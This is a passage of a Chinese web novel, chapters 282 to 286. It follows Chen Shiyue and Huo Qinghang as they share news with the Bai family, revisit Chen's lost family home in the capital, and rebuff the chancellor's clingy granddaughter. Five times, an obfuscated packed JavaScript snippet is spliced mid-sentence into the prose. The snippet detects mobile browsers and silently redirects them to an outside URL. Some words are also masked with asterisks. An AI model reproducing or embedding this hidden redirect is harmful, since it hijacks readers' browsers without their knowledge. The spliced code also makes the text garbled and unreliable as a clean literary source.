两个伙计送连翘离开,一刻都不敢耽误,怕就怕金都城内有长乐门的眼线,到时候人没跑出去,身份还暴露了,所以这些事情宜早不宜迟。 回到金都城内,掌柜和陈识月他们一道回了白府,其他人则各自找客栈先住着。 城内,还有他们的人,相互之间得交流一下信息,免得一旦出什么事,其他人就是两眼一抹黑——抓瞎! 见着陈识月回来,白重忙不迭把人都带进了院子。 “情况怎么样?”白重领着人进了书房。 白夫人赶紧去备茶,也不敢假手于人。 “这是犬子,白清舟。”白重解释。 翩翩少年郎恭敬的行礼,“诸位,有礼了!” 他是个读书人,面容清隽,斯文儒雅。 “白兄生了个好儿子,真好!”掌柜笑着坐定。 白重看向他,“老李,你就莫要取笑我了,这小子平日就会之乎者也,整个一书呆子,动动嘴皮还成,别的什么都不会。” “你就谦虚吧!”掌柜接过白夫人递来的茶,“多谢嫂夫人。” 白夫人笑了笑,“你们好生聊,我去准备饭食,你们也辛苦了,吃了饭再去休息不迟。” “多谢白夫人!” 白夫人笑着转身,快速离开。 “老李,可有什么收获?”一番寒暄过后,白重言归正传。 掌柜叹气,“这销金窝里的热闹,自然不必言说,但是里面的腌臜,还是要说一说的,就在不久之前,我们刚救了一姑娘出来,马不停蹄的就给送走了,生怕进了城就再也出不去了。” “姑娘?”白重愣了愣,转而看向众人。 什么姑娘? “被抢进去的,小丫头还是有点运气的,看准机会就跑了,所幸遇到咱们,否则就要交代在里面了,可怜她爹娘生不见人死不见尸的,估摸着还在家里找人。”掌柜喝了口茶。 白重黑着脸,“这帮畜生,姑娘家的名节何其重要,逃不出来是个死,逃出来了也是人言可畏,这不是要逼死她们吗?” “可不是吗?所以咱悄悄的把人送走,留她一条活路,否则一个弱质女流,还不知要如何是好呢!”掌柜沉着脸,“这帮该死的东西!” 白重又道,“可有什么别的发现?” “我可以肯定,有朝臣护着销金窝,也就是说,与他们沆瀣一气,同流合污。”霍青行开口,“这人官职不低,且很是谨慎小心。” 白重了悟,“难怪你们把那姑娘赶紧送走,这要是没送出去,进了城估计就得露馅!” 掌柜点点头。 “接下来,你们打算如何做?”白重问,“我这边只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758440|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要能帮上忙的,一定会全力以赴。” 掌柜不说话,霍青行和陈识月对视一眼,也没有多说太多。 倒是林序,这会拉着白清舟,将自己记下的路线画了下来。 “如此,可还算清晰?”白清舟询问。 林序点头,“我说的,你都画下来了,画得甚好,画技不错。” “公子夸赞,愧不敢当。”白清舟拱手揖礼。 瞧着他这文质彬彬的样子,林序反而有些不好意思了,赶紧拱手回礼,“白公子不必如此,林某一介粗人莽夫,不周之处多多见谅,那什么……能多画两张吗?” “可以!”白清舟重新坐定,拂袖便拿起了笔杆子,重新画了起来,“林公子稍待,很快就好。” 林序在边上看着,连连点头,“不着急不着急,慢慢来。” 所幸白清舟的动作也快,转瞬间便已经画了好几份,“画技潦草,公子莫怪。” “这有什么?只要能看清楚转弯的点,别认错了路,便是没什么大碍。”说着,林序屁颠颠的将画分给众人。 连白重都有一份,只不过…… “这地方怎么瞧着,有点眼熟呢?”白重皱起眉头,转头看向掌柜。 白清舟在边上笑着,言语温和从容,“父亲,这是乱坟坡呀!” 白重一拍脑门,“我就说嘛,怎么有点眼熟,原来是乱坟坡?还真是造孽造到一处去了,竟是在乱坟坡这里做了手脚,真是阴气十足,也不怕那些游魂野鬼大半夜的,找他们索命?” “赚那么多黑心钱,早就不做人了,还会怕鬼?也就是老实本分的,才会想着矜矜业业,敬畏鬼神的。”掌柜长叹一声,“那些不做人的东西,身上的煞气……连鬼怪都得躲着他们走啊!” 白重无奈的看着手中图纸,“乱坟坡,幽怨深呢!” 可那又如何? 好人不长命,恶人活千年。 因为好人有心里负担,恶人无所顾忌。 有心事的活不久,没心没肺自长寿。 “对了,我们在里面还遇见了一个叫陆离的女子,不知道为何强闯销金窝,受伤为我所救,但是……这可能是个假名,若是她能侥幸逃出来,诸位逢着可得当心。”陈识月提醒。 第二百八十二章 自小相识,青梅竹马 提起这个陆离,霍青行的脸色便不太好,救了一头白眼狼,还险些被反咬一口,这事换谁都会心里不适。 “竟还有这样的事情?”白重愣住,“真是林子大了,什么鸟都有。” 陈识月点头,“原本以为是救人一命,没想到是白眼狼,好在我们都没事,当时也把她甩开了,否则还不知要如何呢?” “所幸当时翻脸,这要是出了门还不得把你们的底细都摸清楚,万一拿住了什么把柄,那就更糟糕了。”白清舟倒是觉得,当时翻脸是好事。 这么一想,还真是。 “要不怎么说,读书人就是心细呢!”掌柜笑着夸赞。 白清舟揖礼。 林序将图纸交给霍青行,“公子,有了这图纸,咱到时候想进销金窝,应该就没那么难了吧?” “你确定我们可以从出口进去?”霍青行不以为意。 陈识月看向他,略有不解。 “我们是怎么进去的,你浑都忘了?”霍青行问,“进去的时候有什么阻碍,不记得了?” 林序僵住。 霍青行善意的提醒他,“那个石头墙!” “石头?”白清舟好似明白了什么,“该不会是什么阵法吧?” 众人的目光,齐刷刷落在他身上。 “我只是猜测。”白清舟忙不迭解释,生怕慢一步就被他们误会,“看的书比较多,比较杂,所以这厢就有了如此猜测,但没有证据的事儿,咱也不好说,自当求证后再定论。” 他倒是极为小心。 “我的猜测同你一样。”霍青行开口。 白清舟一怔,转而笑了笑。 “那就是说,我们出来之后也未必能重新找回去?”陈识月兀自呢喃,“是这个意思吧?” 有阵法,就等于有了拦路石,寻常人不可进。 “销金窝存于这么多年是有道理的。”霍青行开口,“若是人人都存了这样的心思,都掉头回去找,迟早会被找到,但凡夫俗子,功夫高低,又有几人精通奇门遁甲之术?” 如此一来,便阻断了很多人的回旋镖。 “即便如此,也不是无计可施。”白清舟低低的开口,“不精通也无妨,先看看情况便是。” 所有人的目光再度齐刷刷的落在他身上,一个两个眸中露出探究之意。 “诸位莫要这般看着我,小生不才,略懂略懂!”白清舟揖礼。 白重揉着眉心,“一天到晚不好好的读书,尽看那些闲杂之书,成日不务正业,也不怕被人笑话?若你真的闲来无事,多看两本医书也成,不求你功成名就,至少能接我衣钵啊!” 可偏偏,都是不省心的主! 这让陈识月想起了祖父家的表兄和表妹,家里也是这样的恨铁不成钢。 “看你这话说的,只要自己有目标,那就极好的,年轻人有年轻人的想法,为何要顺着你的路走?你走了一辈子的路是顺畅,可那不是他们的路。咱,老咯!”掌柜轻轻拍着白重的肩膀,“老兄,该给年轻人机会,走什么路让他们自己选,只要不是歪路都无所谓。” 霍青行与陈识月对视一眼,也觉得这个说法是对的。 白清舟冲着掌柜揖礼,“多谢李叔。” 白重叹口气。 逆子! “贤侄,若是得空就请你帮帮忙,且看看是否如你猜测的那样?若是真当如此,有没有办法能解决它?当然,凡事都有定数,咱就说看个缘分,成自然最好,不成也不要放心上。”掌柜开口。 白清舟看了父亲一眼,白重没什么反应。 见此,白清舟揖礼,“李叔放心,我定然尽一份心力。” “开饭了。”白夫人进了门,“不管做什么事,先吃饱了再说,也不急于一时。这销金窝里那么多腌臜事,一时半会也管不完,吃完就好好休息,才有精神头去应付那些事。” 众人起身。 吃过饭,白夫人便领着人去了厢房。 霍青行住在陈识月的隔壁,“若是有什么不舒服,或者是……及时叫我。” “嗯。”陈识月点头。 白夫人笑了笑,送陈识月进门。 “月大夫?”白夫人笑道。 陈识月忙行礼,“夫人,可以叫我月儿,家里人都这么喊。” “好。”白夫人握住她的手,“听我家老爷说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15768519|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月儿医术不错,小姑娘家家的有这般好本事,真是让人欢喜。想来这一路,吃了不少苦吧?” 陈识月鼻子一酸,人最受不得的,就是来自于陌生人的关心,一下子来得太突然,以至于她都有些不知所措。 “把这儿当自己家,不要那么拘束。我就清舟一个儿子,瞧着你这样的姑娘最是欢喜,要是我闺女就好了。”白夫人握着陈识月的手,满眼都是欢喜。 听话乖巧,生得漂亮,又有本事,这样的闺女谁不喜欢呢? “夫人谬赞,月儿愧不敢当。”陈识月面颊微红。 这么被人直白的夸赞,委实有些不好意思。 “你想吃什么,缺什么,只管跟我说,这是金都,要什么有什么。”白夫人温声叮嘱,“要是不适应也得说,莫要忍着。” “是!”陈识月颔首。 想了想,白夫人低声询问,“那位霍公子……” “嗯?”陈识月坐定,一时间不知道该怎么说。 白夫人笑道,“我也是年轻过来的,他看你的眼神不清白,你们……” “自小相识,青梅竹马。”陈识月只说了八个字。 白夫人了悟,“原来如此,倒是可惜了。” 可惜了! 自家这愣头青什么时候,能遇见这样的好姑娘呢? “对了,你外祖父他们可还好?”白夫人让人铺好床褥,含笑问她,“你舅舅他们如何?” 陈识月笑答,“好,都好。” “那就好!”白夫人给她点了熏香,“这香能助眠,怕你人生地不熟的,到时候会认床睡不着,你且安心的休息,别的就先别管了。睡饱了再起来,饿了就跟底下人说,咱什么都不缺。” 陈识月行礼,“多谢夫人。” “真是个好姑娘。”白夫人示意众人退下,“那你就好好休息,我先走了。” 陈识月颔首,目送白夫人离去。 墙那头,传来了一阵“笃笃”声。 陈识月回过神来,兀的扬唇一笑,起身来到墙下,曲起指关节,回应似的敲击了两下。 墙那头,有人心里美滋滋,扬起的唇角怎么都压不住…… 第二百八十三章 霍哥哥,真的是你! 林序白眼都快翻到天上去了,看自家少将军这暗爽的,不就是月大夫回应他了吗?看看这不值钱的样子,真是没眼看,没眼看呢! 不知道是不是安神香的缘故,陈识月一觉睡到了晚饭前,连日来的精神高度紧绷,让她疲累不堪,如今可算是缓过来了。 “姑娘醒了!”小丫头端着水进门,“您擦把脸,我去叫夫人。” 陈识月缓过劲来,赶紧擦了脸,这才慢步出了房间。 白夫人已经进了院子,“月儿醒了,睡得可还舒坦?” “极好!”陈识月行礼,“多谢夫人。” 白夫人被她一口一个谢,说得都不乐意了,“当自己家里,以后不要一口一个谢,咱也不是外人,这来来**的太见外了。” “是,夫人!”陈识月浅笑盈盈。 白夫人握住她的手,“待会吃了晚饭,我让清舟带着你们去金都街头逛逛,来都来了,不能总窝在家里,多出去看看,见一见天子脚下的繁华,也顺道认认路。” 最后一句,才是问题的关键。 认认路,万一遇见什么事,也不至于跑到绝路,还能顺着路回来。 “是!”陈识月没有拒绝。 晚饭很热闹,一桌子的人聚在一起,就跟吃团圆饭似的,这让陈识月想起了再永安县的日子,外祖父家也是这么热闹的。 年幼时最羡慕的事儿,如今都成了现实。 不是家人给与的温暖,却胜似家人给与的温暖。 既如此,何必拘泥是谁给的呢? 温暖就是温暖,暖了就好! 金都城不愧是天子脚下,入目所见,皆是繁华。 陈识月站在街边,耳畔是熙熙攘攘的声响,眼前是人头攒动的街道,奢华的马车时不时从眼前掠过,不像是云中村,要进城都要大半天,更别说这些灯红酒绿,奢靡繁华。 “给!”霍青行忽然将一根糖葫芦递过来。 陈识月一怔,当即转头看向他。 “小时候不是最喜欢吃吗?”霍青行往她跟前递了递,“每次哭,一根糖葫芦就能哄好。” 陈识月笑了,伸手接过,“那是小时候不懂事,现在嘛,一根糖葫芦可不管用。” “不管你要什么,只要我有,你都有。”霍青行站在她身侧,目光小心的环顾四周,不管什么时候都不能放松警惕。 大概是知道他们有事,白家夫妇和掌柜的没有跟出来,只让白清舟领路,年轻人之间好说话,毕竟跟老一辈多少隔了点代沟。 “陪我去个地方吧!”陈识月嗓音里带了几分异样。 霍青行脸上的笑意瞬时消弭无踪,他知道她的意思。 时过境迁,今非昨日。 隔了这么多年,很多地方早就变了模样,放眼望去皆是陈识月不熟悉的场景,虽然当年她就不怎么熟悉,但如今更为陌生。 说是回家,其实早就没有家了…… 曾经的陈府,如今已是别人家。 隔壁的围墙已经修高,没了当年的缺口,犹记得当年,年少的霍青行一直趴在墙头,或是逗她开心,或是偶尔逗得她生气,然后笑呵呵的看她一跺脚就跑。 一眨眼,陈家没了。 因为当年之事,还有后来陈府易主,两家之间的后巷被拓宽了很多,如今已是一条街道,不似当年这般寂静,就他们两个蹦跶,可以肆意妄为而不会被人察觉。 “那时候,这里是一条死巷,我们在这边嬉戏打闹,哪怕我坐在后门哭,都没人会看见。”陈识月瞧着街边的铺面,“如今都成一条街了。” 后门没有了,台阶也没有了,死巷也**…… 什么都变了。 变得不一样了。 在陈府的旁边有炒货铺,有小酒馆,还有点心铺,人来人往的,不算很热闹,却也生意不赖。 霍青行进了铺子,买了一包杏脯,塞进了陈识月的手里,“情绪太激动的时候,需要来点甜的。” 杏脯酸酸甜甜的,滋味甚好。 “从小你就喜欢给我塞这些。”陈识月嚼着嘴里的杏脯,酸酸甜甜的滋味,将心头的那一口郁气压了下去,人得往前看……不是吗? 霍青行点头,“每年你生辰的时候,我总要买一根糖葫芦,去了边关也没变过。” “我就说嘛,公子为什么每年犯一次病。”林序在旁作恍然大悟状,“原来是因为月大夫啊?” 霍青行一个眼刀子过来,林序乖乖闭了嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15777249|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可不是犯病嘛! 一个大男人,战场上挨了几刀都没有皱一下眉头的人,到了那一天都会神经病似的,跑到街上买一根糖葫芦来,然后对着月亮喝酒发呆,一直到糖葫芦都烂完了,才找个地埋起来。 这个问题,曾经困扰了林序好多年…… “这里原是金都府府尹陈家。”白清舟低低的开口,“但是后来出了点变故,宅院就被封了,多年以后被帝王赐予朝臣,如今是金都府府尹柳大人的府邸。” 柳大人? 陈识月眉心微蹙,转头跟霍青行对视一眼。 柳? 心里有点想法,但是谁也不敢说出来。 “柳大人公正廉明,是个好官。”白清舟又道。 霍青行倒是知道这位柳大人,曾在地方做了十多年的地方官,后来因为办了几桩要案大案,被刑部尚书赏识,上报天听。 帝查,龙心甚悦。 不得不说,这位柳大人也是有点本事的,上任之后,又办了几件案子,让上头很是满意,这几年的金都城一直太平无虞。 说话间,有一辆马车停在了府门口,紧接着便是一男子从门内走出来。 一身藏蓝袍子,行动沉稳,踩着杌子上了马车。 “这便是那位柳大人!”白清舟忙道。 霍青行站着没动,神色未改。 但陈识月却皱起了眉头,不知道为何,好像有几分眼熟,似乎是在哪里见过的? “怎么了?”霍青行问,“认得?” 陈识月摇摇头,“感觉有点熟悉,但瞧着又陌生,大概是我想太多了。我都不曾来过这金都城,怎么会认识这样的大人物?何况白公子说,他此前是地方官,与我更不可能相识。” 她住在云中村,本就很少与外人接触,更不可能认识。 霍青行也觉得有道理。 “霍哥哥?”身后忽然传来一声不确定的低唤。 霍青行眉心陡蹙,下意识的看向陈识月。 陈识月:“??” 什么状况? 一转身,骤见一女子疯似的飞扑过来,“霍哥哥,真的是你!” 陈识月愕然,眼睁睁看着花蝴蝶扑了上来…… 第二百八十四章 霍青行的男德! 事情发生得太突然,以至于所有人都是懵的。 飘飘然的花蝴蝶,是冲着霍青行去的,笑容明艳,身段娇俏,却在最后那一瞬,失去了面部表情管理。 “哎呀!” “哎呀呀呀……” 林序只觉得肩膀一紧,紧接着便是身子被人狠狠拽了过去,下一刻便是浓郁的胭脂水粉气味,自鼻腔直冲天灵盖。 香玉软怀自然是好事,可若是这香玉跟个野猪一样冲过来,那可就不是什么软怀了,若非林序自小习武,胸膛坚硬如铁,怕是真的要被撞吐血。 两声闷哼,林序身形一定,那人瞬时被反弹了出去,直接四脚八叉的摔在地上,愣是疼得发不出半点声响。 陈识月:“……” 白清舟:“……” 霍青行后退一步,面不改色的站在陈识月身边。 意识到自己可能闯祸了,林序面色稍滞,好半晌才压着脚步声上前,“喂,你没事吧?” “哼……哼……”花蝴蝶终于发出了哼哼唧唧的响声,但可能摔得太狠了,愣是没能爬起来。 林序心头一惊,别是给摔**吧?这别人撞自个身上,然后被他坚硬的胸膛反弹出去,落地摔死……不知道说出去会不会有人相信? “姑娘?”陈识月慌忙上前,可别给撞出好歹来,“姑娘?” 小姑娘五官清秀,瞧着年岁不大,柔柔弱弱的,被陈识月搀起来的时候,嗓子眼里还发出哼哼唧唧的声音,可见是真的摔疼了。 “怎么样?头疼不疼?身上呢?”陈识月忙伸手掸去她身上的灰尘。 下一刻,她极是嫌弃的瞥了陈识月一眼,快速撇开陈识月的手,“别用你的脏手碰我。” 陈识月愕然。 霍青行面色陡沉,旋即上前牵起了陈识月的手,将人拽到自己的身后,一脸不善的看着眼前人。 见着霍青行上前的时候,小姑娘旋即展露笑脸,然而见着他拽住了身边少年人的手,不由得眉心紧蹙,笑脸瞬时垮塌下来。 “霍哥哥,你怎么跟男子手拉手?”小姑娘直跺脚。 气的。 陈识月:“??” 许是这一路真的习惯了,陈识月真的一时间没反应过来,听得这话不由得愣了愣,忙抽回了手,耳根略微发烫。 林序揉着胸口,极为不悦的上前,“你这小姑娘好没道理,撞了人不道歉便也罢了,还在这里胡乱干涉别人的事,这是你家的事儿吗?你带张嘴就想管?小丫头片子,回家都你爹玩去吧!跑这嚷嚷什么?” 大概从来没被人这么怼过,小姑娘瞬时炸毛了,“你谁啊?我与霍哥哥说话,同你有什么关系?你居然敢骂我,你知道我是谁吗?” “我为什么要知道你是谁?”林序只觉得莫名其妙,这姑娘瞧着……怎么有点不太聪明的样子? 小姑娘傻眼了,一下子竟也不知道该如何应对。 下一刻,她直接伸手去扯霍青行的袖子,“霍哥哥!” 陈识月:“??” 林序:“??” 却见霍青行就跟躲瘟疫似的,慌忙别开身子,以确保双方之间的距离,避免被她沾到分毫。 看出自家少将军的不悦,林序转身就挡在了霍青行跟前,“哎哎哎,小姑娘家家的要矜持,要点脸吧,哪有人一来就动手动脚的?” “霍哥哥,是我啊!我是慧慧啊!”小姑娘急得眼睛都红了。 林序不解,“公子,慧慧是谁?没听你提起过!” 白清舟行礼,“杨姑娘。” 丞相的小孙女,杨家捧在掌心里的明珠,金都城人尽皆知的贵女——杨**。 杨**身份尊贵,因着自小娇惯,性子亦是骄纵。 “丞相府?”陈识月吓一跳。 没料到这小姑娘身份如此不简单,再想到自己如今的身份,止不住心头怦怦跳,若是被抓到衙门,那还得了? 霍青行是怎么招惹上,这位大小姐的? “别怕!”霍青行冲着陈识月使了个眼色,推开了尚在发懵的林序,“杨姑娘,我们不熟。” 杨**似乎被他这话伤到,当即红了眼眶,“霍哥哥忘了,前两年你和霍伯父得胜回朝,皇上在宫中设宴,你还救过我。” 霍青行见她上前一步,不动声色的别开身子,避免她沾到自己的衣角,“举手之劳,不管是谁落进水里,我都会救。顺手而已!” 他特意重复,顺手两个字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783070|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人命关天,不管换做是谁,都会搭把手。 “霍哥哥为何对我如此生分,幼时你我也算是青梅竹马……” “打住!”不等她把话说完,霍青行眉心都皱成了“川”字,“什么叫青梅竹马?我何时与你青梅竹马?杨姑娘说话未免太可笑。” 杨**眼眶红红的,“你我幼时不是在太学堂一块入学吗?” “我与你兄长尚且算是同窗,与你可是八竿子打不到一处,给你兄长送了几次饭,你就当自己是我同窗,未免太牵强了!”霍青行毫不留情。 杨**哑然,结结巴巴,磕磕绊绊了半天,也没说出个所以然来。 倒是一旁的林序,一副恍然大悟的模样,“原来如此,就这么八竿子打不着的,还敢自诩青梅竹马?哎呦喂,难怪大街上都能人**,可见这没脑子的毛病,是打小就有。” “你!”杨**抬手就想给林序一巴掌。 可林序是谁,脑袋一撇,“诶,没打着!” “我、我打死你!”杨**伸手就挠。 林序眼睛一瞪,“哎呦哎呦,名门贵女都敢当街**?还有没有王法了?” “林序!”霍青行低哼。 毕竟是丞相府的姑娘,岂敢造次。 可林序久居边关,早就肆意惯了,谁还管得了这些? “是!”林序站着不动。 杨**气得快哭了,“霍哥哥,你知道我看见你有多高兴吗?为何你身边的这帮奴才,一个个都敢如此放肆?以下犯上,都该杀了!” 陈识月:“??” 林序:“??” 白清舟扶额。 动不动就喊打喊杀,小丫头被家里惯到没边了! “告辞。”霍青行抓起陈识月的手,转身就走。 杨**不干了,“霍哥哥,你为何不理我?你是我的救命恩人,我还没报答你呢!霍哥哥……祖父和父亲他们都没说,你要回来,早知道你回来,我便……霍哥哥,你走慢点,我跟不上!” 陈识月一时间不知道该如何是好,被霍青行牵着,林序和白清舟不敢多言,兀自跟着。 身后那位杨姑娘,锲而不舍的紧追,“霍哥哥?霍哥哥你等等我!” 第二百八十五章 我喜欢男人 “哥哥哥哥的,你是老母鸡要下蛋呢?”林序极为不耐烦的掏耳朵,“我耳朵都快长茧子了!公子,你也不管管?” 这话一出,霍青行便转头剜了他一眼。 没瞧见他媳妇在边上? “霍哥哥!”杨**不死心,眼巴巴的跟在后面,“霍哥哥,你回将军府吗?还是另居别处?你身边这个男子到底是谁?你为何要一直牵着他的手?霍哥哥,我同你说话,你为何不答?” 别说是林序,饶是陈识月都听得耳蜗嗡嗡作响,霍青行怎么还招了这么一朵桃花呢? 思及此处,陈识月无奈的挣开霍青行的手,“你自己的事情,自己解决吧!白公子,你带我去别处逛逛吧!” 白清舟犹豫了一下,终是冲着霍青行揖礼,“公子慢慢来,我们在河边稍待。” 语罢,快速给陈识月领路。 霍青行手中一空,又瞧着陈识月跟着白清舟离开,面上情绪全无,眼神冷得可怕,看向气喘吁吁跟上来的杨**,语气里满是不耐烦,“杨姑娘,不要跟着我,也不要提劳什子救命之恩,就算换做阿猫阿狗我也会救。” 救命不只是针对某个人,而是因为他足够好,愿意对他人释放善意。 但如果救命之恩成了负累,他不介意把她丢回去,让别人再救一次。念在杨**是个女子,脸皮薄,亦攸关名节,霍青行没有把话说得太狠,要不然的话…… “霍哥哥为何如此排斥我?”杨**不明白,“我没有恶意,只是想关心你。” 从他救她的第一眼,她就觉得自己沦陷了。霍青行文武皆备,又出身麟州霍氏一族,不管是在相貌人品,还是家世上,他们都是最般配的。 门当户对,天生绝配。 林序想开口说点什么,又怕自己一开口就怼人,到时候话太难听,会让霍青行难做,“公子,我去找他们。” 懒得跟着咯咯鸡纠缠! 林序一走,杨**更是高兴,“烦人的人都走了,我终于可以和霍哥哥好好说会话了。霍哥哥,你既是回来了,便不会再走了吧?” “杨姑娘。”霍青行与她保持距离,“知道我为什么排斥你吗?” 杨**被问得忽然懵了一下,紧接着摸了摸自己的脸,“是因为霍哥哥觉得我不够漂亮?” 女儿家的心思,无外乎便是这些。 容貌? 身段? 家世? 可身为金都贵女,无人敢挑剔她一二,但若是真的论就起来,也就是在容貌上她只能算是清秀,算不得貌美如花。 “不是!”霍青行居高临下的睨着她,斩钉截铁的告诉她,“我喜欢……男人。” 杨**:“!!” 语罢,霍青行转身就走。 杨**将在原地,已然石化,宛若泥塑木雕一般,注视着霍青行离去的背影。 老天爷? 她听到了什么? 喜欢男人? 不不不,这怎么可能? 这不可能! “小姐?小姐?”丫鬟翠儿的呼唤,终于把杨**的神志拉拢回来,“小姐你怎么了?你可别吓唬奴婢!小姐?” 杨**像是丢了魂儿一般,连带着呼吸节奏都不对了,“不可能的!这怎么可能呢?” “小姐你没事吧?”翠儿吓坏了。 杨**不信这个邪,“我不信,我不信。” 话是这么说,但眼底的悲伤与愤怒却是藏不住,她要回去告诉父亲和祖父,一定要将此事查清楚,她的一见倾心,不能就这么被三两句话给糊弄过去。 如果…… 如果真的是喜欢男子,那会是哪个? 霍哥哥牵着的那位? 还是多嘴长舌的那个? 反正不管是谁,她杨**都不能咽下这口气。 思及此处,杨**火急火燎的回家。 河边。 瞧着快步走来的霍青行,林序咂吧着嘴,“哎呦,挺快的,这就打发了?是给了什么好处?” “你莫要瞎说,他不是这样的人。”陈识月白了他一眼,“再乱说话,仔细让他知道,然后扒了你的皮。” 林序啧了一声,“这就维护上了?” “我是维护你,怕你**呀!”陈识月打趣,嚼着嘴里的杏脯。 护城河边,到处都是人。 三三两两,成群结队。 有人来放河灯,有人散步慢行,有人趁此良辰美景,吟诗作对。 嬉嬉笑笑的声音,伴随着岸边的灯火,江面的画舫游船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787246|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,人间烟火繁华昳丽,好似融入进去,便不会再见人间悲苦。 殊不知,天子脚下的繁华是那样的虚假。 君不见,边关尘沙萧瑟血漫天。 君不见,山高帝远满地皆饿殍。 “真是热闹。”林序开口,“在边关的时候,没有战事,咱也会热闹热闹,只是不似这般放松,围着篝火吃肉喝酒吹牛放屁,但也要随时防范着。” 白清舟在旁揖礼,“竟是护卫家国之士,失敬失敬。” “哎哎哎,你若如此,我可就要不好意思了,就你们读书人礼节多,咱可没这么多的规矩。”林序赶紧扶了一把,“莫要如此,让人瞧见了,怕是要多生疑虑。此番虽不算是悄悄回来,但……” 霍青行的身份特殊,换言之是霍家的处境特殊,当年国公府一案,镇国公父子死后,朝上武将多数都被牵连,流放的流放,死的死,最后也就没多少可用之才。 要不是边关告急,这桩案子牵连的人会更广,甚至于事后也有人案子猜测,帝王当时已经动了对付霍家的心思,奈何……奈何不了霍家。 那帮巧舌如簧的文官,哪有本事去镇守边关? 靠他们的三寸不烂之舌吗? “在下明白!”白清舟是个聪明人,“诸多局势,身不由己,咱一介白衣,管不得上面那些尸位素餐之辈,但绝对支持保护百姓之人。” 话说得很笼统,但意思表达得很明确。 林序点点头。 “在说什么呢?”霍青行近前。 林序转了话锋,赶紧凑上去,嬉皮笑脸的问,“公子,你怎么搞定那个麻烦鬼?” 霍青行看了一眼林序,又睨了一眼陈识月,到了嘴边的话当即咽了回去,“保密!” 林序哽住。 这有什么不能说的? “以后遇见她,避着点!”霍青行叮嘱,尤其是林序,“不要往前凑,免得丞相府抓住你不放,到时候我可不会去救你。” 林序扯了扯唇角,满脸嫌弃,“公子这话说得,我可就听不明白了,那桃花不是冲着我来的,为何要抓住我不放?” “大概是……你倒霉吧!”霍青行意味深长的说。 林序:“??” 这话听着,怎么有点怪怪的? 第二百八十六章 在他眼里,媳妇会发光 缓步走在河边,霍青行与陈识月比肩而行。 白清舟很是知情识趣,带着林序走在前面,一则领路,二则给后面两人留充足的空间,三则他还有些疑问想问。 “父亲没交代太清楚,我也没多问,不知林公子是谁人麾下?”白清舟很是恭敬的开口。 林序回过神来,想着白清舟倒也不是外人,为人又分外谨慎小心,说说倒也无妨,“你没听那位咯咯鸡喊的是霍哥哥吗?” “麟州霍氏一族。”白清舟了悟,当即拱手,“失敬失敬。” 林序笑着打趣,“读书人就是规矩多,动不动作礼,怪让人难为情的。” “您这样的壮士,理该受人敬重,要不是诸位在边关拼死搏杀,哪有这金都的花灯璀璨,岁月静好呢?”白清舟言语真挚,“可惜白某自小不曾习武,不然亦想弃笔从戎。” 林序不以为意,“每个人做什么事情,都是老天爷注定的,像我这样身强力壮的,生来就该戍卫边疆,保家护国的。” “林公子武艺高强,是为高义。”白清舟一口一个夸赞。 林序心里美滋滋的。 嘿,没想到自己还有被人夸的时候。 “白家祖传医术?”林序转移了话茬。 白清舟点头,“父亲早些年是游医,后来跟月儿姑娘的外祖家有所切磋,与徐老太爷成了忘龄之交,在永安县待过一阵子,后来便去了边关多年,再回来的时候便落脚金都,开了回春堂。” “原来如此。”林序点头,“白老爷也是个见多识广之人。” 